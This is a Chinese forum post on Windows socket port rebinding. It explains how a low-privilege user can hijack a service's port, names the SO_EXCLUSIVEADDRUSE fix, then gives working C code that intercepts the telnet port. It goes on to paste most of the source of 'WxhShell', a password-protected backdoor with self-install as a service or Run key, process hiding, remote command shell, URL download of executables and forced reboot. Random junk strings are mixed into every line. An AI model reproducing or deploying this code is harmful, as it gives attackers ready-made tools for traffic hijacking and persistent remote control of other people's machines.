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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: unB`n'L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xo.k:F  
iRIO~XVo  
  saddr.sin_family = AF_INET; )7jJ3G*  
xCYK"v6\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Gv+$7{  
;xQNa}"V  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >>b <)?3Rv  
k5@PZFV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h0oe'Xov  
M?ObK#l!_  
  这意味着什么?意味着可以进行如下的攻击: 8:sQB% BB  
]/6i#fTw  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  X? l5}  
W' Y?X]xr  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }Sr=|j  
AeR*79x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @j`gx M_-O  
?e#bq]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xiy=D5N.=  
*w`_(X f  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s|[CvjL#0  
9-"!v0['  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +/n<]?(T  
_PPn =kuMa  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $V\Dl]a1  
UGDB4S  
  #include :%4N4| Q  
  #include ;@FCa j&  
  #include rX}FhBl5  
  #include    vs%d}]v  
  DWORD WINAPI ClientThread(LPVOID lpParam);   '',g}WvRwe  
  int main() {XEX0|TZ  
  { wM1&_%N  
  WORD wVersionRequested; \&MJ(F>vJ  
  DWORD ret;  &Sdf0"  
  WSADATA wsaData; [C`LKA$t  
  BOOL val; <]f{X<ef  
  SOCKADDR_IN saddr; cw/E?0MWb  
  SOCKADDR_IN scaddr; qORL 7?{  
  int err; v83@J~  
  SOCKET s;  Eyq4w  
  SOCKET sc; X6Q\NJ"B  
  int caddsize; H{4_,2h =m  
  HANDLE mt; QJF_ "  
  DWORD tid;   "DC L Z  
  wVersionRequested = MAKEWORD( 2, 2 ); ,v#O{ma  
  err = WSAStartup( wVersionRequested, &wsaData ); }B ?_>0  
  if ( err != 0 ) { 4Ifz-t/  
  printf("error!WSAStartup failed!\n"); .x'?&7#(  
  return -1; h7kn >q;  
  } jRN>^Ur;g  
  saddr.sin_family = AF_INET; f=IF_|@^S  
   +yI2G! $T9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 EYRg,U&'  
q|sT4} =  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U8a5rF><  
  saddr.sin_port = htons(23); qs>&Xn  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GDQQ4-|O  
  { &>xz  
  printf("error!socket failed!\n"); k![oJ.vHD  
  return -1; 9T_fq56Oh6  
  } `4-N@h  
  val = TRUE; RpwDOG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 U'LPaf$O  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) kD me>E=  
  { i<{:J -U|  
  printf("error!setsockopt failed!\n"); fb[? sc  
  return -1; Q%:Z&lg y  
  } - VdCj%r>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; AfpC >>=@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g=$nNQ \6=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e^k)756  
&N*l?7(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _`lPLBr6  
  { ,B#*<_?E5  
  ret=GetLastError(); R0urt  
  printf("error!bind failed!\n"); H6hhU'Kxf8  
  return -1; ~t<uX "K  
  } aMJJ|iiU  
  listen(s,2); #y f  
  while(1) B9wQ;[gQB  
  { :W#?U yo  
  caddsize = sizeof(scaddr); }.D adV  
  //接受连接请求 r72zWpF!Ss  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pf&U$oR4  
  if(sc!=INVALID_SOCKET) )4RSo&9p`  
  { Y,?kS dS  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); = &^tfD  
  if(mt==NULL) j8+>E ?nm  
  { %<|cWYM="z  
  printf("Thread Creat Failed!\n"); 6OR)97  
  break; LbuhKL}VN  
  } LK<ZF=z]Z  
  } p }e| E!  
  CloseHandle(mt); ,n`S ,  
  } n5y0$S/ D  
  closesocket(s); ^iWJqpLe  
  WSACleanup(); -EE}HUP)  
  return 0; %{jL+4veoL  
  }   Js(MzL  
  DWORD WINAPI ClientThread(LPVOID lpParam) {I/t3.R`  
  { ';m;K (g  
  SOCKET ss = (SOCKET)lpParam; U#%+FLX@w  
  SOCKET sc; :jJ0 +Q  
  unsigned char buf[4096]; ,u9 >c*Ss\  
  SOCKADDR_IN saddr; })j N 8px  
  long num; <B'PB"R3y  
  DWORD val; +U iJWO  
  DWORD ret; 8\G"I  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2J (nJT"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8Y_lQfJa  
  saddr.sin_family = AF_INET; j Y(|z*|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]MC5 uKn  
  saddr.sin_port = htons(23); [ #fz [U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e-nwR  
  { $RYOj{1  
  printf("error!socket failed!\n"); R[rOzoNp0  
  return -1; wRZS+^hx  
  } 'wWuR@e#&  
  val = 100; g9Ty%|Q7(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c< sq0('`  
  { xEv?2n@A  
  ret = GetLastError(); `NNP}O2  
  return -1; 4ves|pLET  
  } 1@9M[_<n5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X`fm5y  
  { Ya-GDB;L  
  ret = GetLastError(); A p 3B'  
  return -1; D~M*]&  
  } ^>^h|$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0U !&|i\  
  { -j@IDd7  
  printf("error!socket connect failed!\n"); ^])s\a$  
  closesocket(sc); ""m/?TZq'  
  closesocket(ss); 0<##8m@F8  
  return -1; J ~KygQ3%  
  } v5&W)F  
  while(1) oi8M6l  
  { ge1U1o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ce*?crOV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Kw2]J)TO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `6BQ6)7  
  num = recv(ss,buf,4096,0); p.H`lbVY  
  if(num>0) IJC]Al,df  
  send(sc,buf,num,0); ]=59_bkD:s  
  else if(num==0) 5H,(\Xd  
  break; %-B wK  
  num = recv(sc,buf,4096,0); aimf,(+  
  if(num>0) {1+meE  
  send(ss,buf,num,0); [ua[A;K  
  else if(num==0) $M~`)UeV_  
  break; F"QJ)F  
  } c=^69>w  
  closesocket(ss); BU7QK_zT:  
  closesocket(sc); h)aLq  
  return 0 ; k=G c#SD5_  
  } nU0##  
@H^\PH?pp  
7K+eI!m.s  
========================================================== m>?|*a,  
N`qGwNT%G  
下边附上一个代码,,WXhSHELL 16Jjf|]j  
D_G]WW8  
========================================================== gZ-:4G|J  
0.c9 6&  
#include "stdafx.h" Sy<io@df  
rbs&A{i  
#include <stdio.h> uo*lW2&U  
#include <string.h> ?j)#\s2  
#include <windows.h> ?A~=.u@[d  
#include <winsock2.h> kWs:7jiiu  
#include <winsvc.h> iRqLLMrn  
#include <urlmon.h> cVYu(ssC4  
$"k1^&&E  
#pragma comment (lib, "Ws2_32.lib") 6q7jI )l  
#pragma comment (lib, "urlmon.lib") s@Loax6@B  
/iJsa&W}  
#define MAX_USER   100 // 最大客户端连接数 2sVDv@2  
#define BUF_SOCK   200 // sock buffer ?}S!8;d  
#define KEY_BUFF   255 // 输入 buffer c8HETs1  
wUfPnAD.'  
#define REBOOT     0   // 重启 E^m)&.+'M  
#define SHUTDOWN   1   // 关机 /<dl"PWkJv  
C;#gy-  
#define DEF_PORT   5000 // 监听端口 P7REE_<1  
}=.C~f]A  
#define REG_LEN     16   // 注册表键长度 ca,c+5  
#define SVC_LEN     80   // NT服务名长度 ;yCtk ~T%  
6zi Mf  
// 从dll定义API n A%8 bZ+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XpA|<s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &)|f|\yh"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lwo,D}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B B^81{A  
SRU#Y8Xv|  
// wxhshell配置信息 1v<uA9A%[  
struct WSCFG { W .Al\!Gi  
  int ws_port;         // 监听端口 V8b^{}nxt  
  char ws_passstr[REG_LEN]; // 口令 1^[]#N-Bu  
  int ws_autoins;       // 安装标记, 1=yes 0=no NxB/U_j  
  char ws_regname[REG_LEN]; // 注册表键名 ;=@?( n  
  char ws_svcname[REG_LEN]; // 服务名 ?%/*F<UVQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ''k}3o.K[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^K 9jJS9K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iR8;^C.aT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Vg mYm~y'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" buWF6LFC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xsrdHP1  
2uMSeSx$  
}; o=F!&]+  
<l>L8{-3  
// default Wxhshell configuration E/D@;Ym18  
struct WSCFG wscfg={DEF_PORT, 3wfJ!z-E8  
    "xuhuanlingzhe", U.<ad  
    1, c:s[vghH^#  
    "Wxhshell", 6 \ %#=GG  
    "Wxhshell", ZW 5FL-I  
            "WxhShell Service", nE :Wl  
    "Wrsky Windows CmdShell Service", =,08D^xY  
    "Please Input Your Password: ", Tc|+:Usy  
  1, ~dLe9-_9  
  "http://www.wrsky.com/wxhshell.exe", ?3i<^@?  
  "Wxhshell.exe" 5"+;}E|q  
    }; dbF9%I@  
5j _[z|W2  
// 消息定义模块 J`wx72/-ZW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U;gy4rj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k_Lv\'Ok  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HD z"i  
char *msg_ws_ext="\n\rExit."; 9'KOc5@l^  
char *msg_ws_end="\n\rQuit."; rKl  
char *msg_ws_boot="\n\rReboot..."; :z$+leNH\  
char *msg_ws_poff="\n\rShutdown..."; 8P&z@E{y  
char *msg_ws_down="\n\rSave to "; Qr?(2t#  
NIC.c3  
char *msg_ws_err="\n\rErr!"; 9D yy&$s  
char *msg_ws_ok="\n\rOK!"; q@Zeu\T,*#  
nzU0=w}V  
char ExeFile[MAX_PATH]; 1W9uWkk_d  
int nUser = 0; |voZ0U  
HANDLE handles[MAX_USER]; lO}I>yo}\  
int OsIsNt; |8{ \j*3  
2,.8 oa(  
SERVICE_STATUS       serviceStatus; 4*UKR!sr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R]o2_r7N"}  
q-e3;$  
// 函数声明 CZ(fP86e  
int Install(void); =CaSd|   
int Uninstall(void); Owh:(EJ"d  
int DownloadFile(char *sURL, SOCKET wsh); 7}tXF  
int Boot(int flag); /8P7L'Rb  
void HideProc(void); msw=x0{n5  
int GetOsVer(void); X"T)X#:)  
int Wxhshell(SOCKET wsl); qf%p#+:B3  
void TalkWithClient(void *cs); VZ2CWE)t  
int CmdShell(SOCKET sock); / 6DW+!  
int StartFromService(void); %y)LBSxf  
int StartWxhshell(LPSTR lpCmdLine); 1\5po^Oioy  
ZPHatC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y"zZ9HQM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G52z5-=v  
]YB,K)WQ  
// 数据结构和表定义 X\BdN Hr  
SERVICE_TABLE_ENTRY DispatchTable[] = % "ZC9uq?  
{ zZ8:>2Ps(  
{wscfg.ws_svcname, NTServiceMain}, X u>]$+u#  
{NULL, NULL} 2JHV*/Q  
}; !'=< uU-  
i"{znKz vD  
// 自我安装 >}86#^F  
int Install(void)  j 2e|  
{ P> 7PO~E.  
  char svExeFile[MAX_PATH]; U^OR\=G^  
  HKEY key; Angt=q  
  strcpy(svExeFile,ExeFile); -V||1@ |  
s6I/%R3  
// 如果是win9x系统,修改注册表设为自启动 ) =|8%IrB  
if(!OsIsNt) { ` )~CT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N2Cf(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <ol? 9tm  
  RegCloseKey(key); +^%0/0e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @$?*UI6y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F4g3l    
  RegCloseKey(key); ~JOC8dO  
  return 0; 8`q"] BQN  
    } '^.3}N{Fo  
  } 0Rh*SoYrC  
} z@xkE ,j>  
else { u"kB`||(  
s18A  
// 如果是NT以上系统,安装为系统服务 Ia>~ph#]{`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :) T#.(mR  
if (schSCManager!=0) gy/bA  
{ IZZ $p{  
  SC_HANDLE schService = CreateService kyUG+M  
  ( 7nbaR~ZV  
  schSCManager, 4TaHS!9  
  wscfg.ws_svcname, szy2"~hm  
  wscfg.ws_svcdisp, Kp/l2?J"  
  SERVICE_ALL_ACCESS, {JW_ZJx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9 NqZ&S  
  SERVICE_AUTO_START, 4aG}ex-s|  
  SERVICE_ERROR_NORMAL, w-``kID  
  svExeFile, Oi~.z@@  
  NULL, !Ee&e~"  
  NULL, 0Y*Ag ,S  
  NULL, v0+$d\mP4<  
  NULL, [<#`@Kr  
  NULL <rNz&;m}  
  );  OF`:);  
  if (schService!=0) aOW$H:b  
  { 5K$d4KT  
  CloseServiceHandle(schService); sHHu<[psM  
  CloseServiceHandle(schSCManager); vNAQ/Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MNKY J  
  strcat(svExeFile,wscfg.ws_svcname); Qr[".>+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]DI%7kw'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R%;dt<Dh  
  RegCloseKey(key); 8jgamG  
  return 0; !GZ{UmwA  
    } 'zYx4&s  
  } rF . Oo0  
  CloseServiceHandle(schSCManager); D}bCMN <  
} q_0,KOGW  
} a8Z{-=)  
WD#7Q&T(;  
return 1; ks<+gL{K|i  
} ?/Z5%?6  
{7 nz:f  
// 自我卸载 ~ "WN4  
int Uninstall(void) oo!JAv}~  
{ h) W|~y@  
  HKEY key; lf2(h4[1R  
h=ko_/<  
if(!OsIsNt) { ^1[u'DW4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6 kAXE\T  
  RegDeleteValue(key,wscfg.ws_regname); s!/Q>A  
  RegCloseKey(key); s C?-L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \v([,tiW%  
  RegDeleteValue(key,wscfg.ws_regname); `HsI)RmX  
  RegCloseKey(key); f.Ms3))  
  return 0; ')j@OO3  
  } 5=P*<Dnj  
} (rjv3=9\3  
} /1LQx>1d  
else { UQ+!P<>w   
zT jk^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o$,e#q)8  
if (schSCManager!=0) GhY MO6Q4  
{ l%MIna/Tp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R"[U<^  
  if (schService!=0) Z`kI6  
  { }e&Z"H |  
  if(DeleteService(schService)!=0) { .T^e8  
  CloseServiceHandle(schService); T3^(I~03  
  CloseServiceHandle(schSCManager); CYN|  
  return 0; ~ ^) 4*@i6  
  } l\~F0Z/O  
  CloseServiceHandle(schService); EB[B0e 7}  
  } lag%} ^  
  CloseServiceHandle(schSCManager); 47 9yG/+\  
} N(L?F):fT  
} )zq sn  
" IC0v9  
return 1; $rmfE  
} C(5B/W6  
f#zm}+,`  
// 从指定url下载文件 DbvKpM H  
int DownloadFile(char *sURL, SOCKET wsh) ^EmI;ks  
{ ]"4\]_?r  
  HRESULT hr; x)^t5"F  
char seps[]= "/"; f hr QJ  
char *token; ;TG<$4N  
char *file;  .'^Pg  
char myURL[MAX_PATH]; L:RMZp*bK  
char myFILE[MAX_PATH]; G,h=5y9_J  
^`oyf{w@  
strcpy(myURL,sURL); .wz.Jr`{  
  token=strtok(myURL,seps); S(h+,+289  
  while(token!=NULL) uY Y{M`  
  { Kv-4VWh  
    file=token; eh} {\P  
  token=strtok(NULL,seps); 2 1]8 7$  
  } &\/p5RX  
UqsX@jL!  
GetCurrentDirectory(MAX_PATH,myFILE); R3gg{hQ  
strcat(myFILE, "\\"); 8iwqy0<  
strcat(myFILE, file); tJ!s/|u(  
  send(wsh,myFILE,strlen(myFILE),0); NU$?BiB?R  
send(wsh,"...",3,0); 8^6dK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^K n{L  
  if(hr==S_OK) xdd;!HK,  
return 0; C.oC@P  
else u.L{3gkT  
return 1; uO;_T/^u  
T_*R^Ukb5  
} $oU40HA)W]  
{9*k \d/;  
// 系统电源模块 @`Foy  
int Boot(int flag) ]-G10p}Ph-  
{ !L_\6;aP,x  
  HANDLE hToken; [`Dv#  
  TOKEN_PRIVILEGES tkp; .3yxg}E>{  
kA%"-$3  
  if(OsIsNt) { CP!>V:w%9!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $d _%7xx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WaYT7 :  
    tkp.PrivilegeCount = 1; +Q6}kbDI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XhEd9>#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;;g'C*_  
if(flag==REBOOT) { 9py *gN#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *P}v82C N  
  return 0; V8{5 y <Y>  
} iN+Tig?c  
else { E||[(l,b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c>nXnN  
  return 0; fd} U l  
} P(#by{s  
  } 7Ta",S@m  
  else { 3>t^Xu~  
if(flag==REBOOT) { ME%W,B.|"s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WYklS<B[  
  return 0; ]5}C@W@_  
} 46cd5SLK  
else { _mJnhT3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ApxGrCu  
  return 0; R<jt$--H  
} }+4^ZbX+:  
} <Fa]k'<^)  
io{uN/!X_J  
return 1; E Z}c8b  
} #- hYjE5  
{2Jn#&Z29  
// win9x进程隐藏模块 D-<9kBZs  
void HideProc(void) (d2|r)O  
{ RiX~YL eM  
u79,+H@ep  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZfYva(zP{Q  
  if ( hKernel != NULL ) ^ A`@g4!  
  { O8drR4 Pt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SuU_psF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z rg#BXj7  
    FreeLibrary(hKernel); _b8?_Zq  
  } 5_MqpCL  
M{ mdh\  
return; QXcSDJ  
} Gcs eq  
u d V. $N  
// 获取操作系统版本 "A6T'nOP  
int GetOsVer(void) 8(EK17rE `  
{ 6.!Cm$l  
  OSVERSIONINFO winfo; cnR.J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B8'e,9   
  GetVersionEx(&winfo); "5,tEP!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,c;u]  
  return 1; :DlgNR`bq  
  else t<|S7EqIL  
  return 0; &(] @L\A  
} 1dy>a=W  
z!r-g(^G  
// 客户端句柄模块 7z=zJ4C  
int Wxhshell(SOCKET wsl) 3. kP,  
{ gfPht 5  
  SOCKET wsh; y.l`NTT] <  
  struct sockaddr_in client; "#a_--"k9  
  DWORD myID; 1b,,uI_  
cx(aMcX6  
  while(nUser<MAX_USER) ;QA`2$Ow  
{ .%pbKi `  
  int nSize=sizeof(client); $YX\&%N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'F- wC!  
  if(wsh==INVALID_SOCKET) return 1; 8RfFP\AP  
Vg0$5@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zIyMq3  
if(handles[nUser]==0) >J]^Rgn>  
  closesocket(wsh); ^MUSq(  
else _'yN4>=6u  
  nUser++; RiY9[ec2  
  } AI|8E8h+D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i8\&J.  
KfO$bmwmx  
  return 0; 8d90B9  
} &{Zt(%\ '  
fgmIx  
// 关闭 socket d&dp#)._8  
void CloseIt(SOCKET wsh) &3Q!'pJJ  
{ Z*}5M4  
closesocket(wsh); rl0sN5n  
nUser--; 8%dE$smH  
ExitThread(0); i9qn_/<c  
} =-r[ s%t &  
yH'vhtop  
// 客户端请求句柄 8e`'Ox_5a  
void TalkWithClient(void *cs) 2&f] v`|M|  
{ l.#iMi(@p~  
*<PQp   
  SOCKET wsh=(SOCKET)cs; $R'  
  char pwd[SVC_LEN]; cZ@z]LY.g  
  char cmd[KEY_BUFF]; Yy$GfjJtL]  
char chr[1]; Vd-\_VP20  
int i,j; dQ5_=( 9  
/$ -^k[%  
  while (nUser < MAX_USER) { XF`,mV4  
SxHj3,`#C  
if(wscfg.ws_passstr) { jb!R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %V>Ss9;/8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )}-,4Iu%  
  //ZeroMemory(pwd,KEY_BUFF); pohA??t2:  
      i=0; ~VRt 6C  
  while(i<SVC_LEN) { 6/m|Sg.m  
yA8e"$  
  // 设置超时 x:h0/f  
  fd_set FdRead; +J^-B}v  
  struct timeval TimeOut; ;\F3~rl  
  FD_ZERO(&FdRead); lzQmD/i*  
  FD_SET(wsh,&FdRead); y5d=r]_S:  
  TimeOut.tv_sec=8; FCC9Ht8U?  
  TimeOut.tv_usec=0; 3HU_ ~%l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qP"+SVqC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -'j_JJ  
tSr.0'CE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }=1#ANM1  
  pwd=chr[0]; 03F%!Rm/j  
  if(chr[0]==0xd || chr[0]==0xa) { #}/YnVk  
  pwd=0; h&$7^P  
  break; "ooq1 0P  
  } l\PDou@5  
  i++; 1@&i ju5  
    } YEL, TU  
CCCd=s.  
  // 如果是非法用户,关闭 socket *} pl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "f/Su(6{0  
} >vDa`|g  
u&q RK>wLa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {*gO1TZt9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *hhPCYOm  
h]wahExYP  
while(1) { ?#OGH`ZvkI  
ea"!:cL(g  
  ZeroMemory(cmd,KEY_BUFF); Q\pTyNAYn  
:[;]6;  
      // 自动支持客户端 telnet标准   %^e~;i=2  
  j=0; V/X4WZs|i  
  while(j<KEY_BUFF) { \7W4)>At-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CdxEY  
  cmd[j]=chr[0]; sFd"VRAV~E  
  if(chr[0]==0xa || chr[0]==0xd) { \+]U1^  
  cmd[j]=0; I9sx*'  
  break; |'w_5?|4  
  } ^Z?X\t  
  j++; qH3<,s*  
    } :6~DOvY  
]2^tV.^S^  
  // 下载文件 'S_kD! BO  
  if(strstr(cmd,"http://")) { :lF[k`S T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1ga-8&!  
  if(DownloadFile(cmd,wsh)) c$X0C&m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eBZa 9X$  
  else L0v& m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X bF;  
  } "`b"PQ<x  
  else { 8vzjPWu  
(~YFm"S  
    switch(cmd[0]) { deD%E-Ja  
  HK@LA3  
  // 帮助 v&BKl  
  case '?': { J. ]~J|K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Mx ?{[zT"  
    break; A=Au>"nAA  
  } nWTo$*>W  
  // 安装 y[U/5! `zV  
  case 'i': { DP2 ^(d<  
    if(Install()) E0K'|*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MA\^<x_?L}  
    else )` nX~_'p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); em^|E73  
    break; D`nW9i7  
    } "][MCVYP  
  // 卸载 JCjQR`)  
  case 'r': { 19 h7 M  
    if(Uninstall()) IR*g>q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a );>  
    else V=<OV]0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `v*UY  
    break; +r7uIwi$@  
    } Yjv[rH5v  
  // 显示 wxhshell 所在路径 OiB*,TWV  
  case 'p': { AJ'YkSg  
    char svExeFile[MAX_PATH]; !V~`e9[rl  
    strcpy(svExeFile,"\n\r"); Da#|}m0>  
      strcat(svExeFile,ExeFile); <8U qV.&  
        send(wsh,svExeFile,strlen(svExeFile),0); hg}Rh  
    break; liEb(<$a  
    } >QwZt  
  // 重启 %B^nQbNDM  
  case 'b': { x:TBZh?@$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #q{i<E 07  
    if(Boot(REBOOT)) zz ^2/l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 65FdA-4  
    else { >n,RBl  
    closesocket(wsh); #(o 'G4T  
    ExitThread(0); ei 1(A  
    } :tP:X+?O  
    break; pg3B^  
    } ># FO0R  
  // 关机 /yHM =&Vg]  
  case 'd': { x)6yWr[ri%  
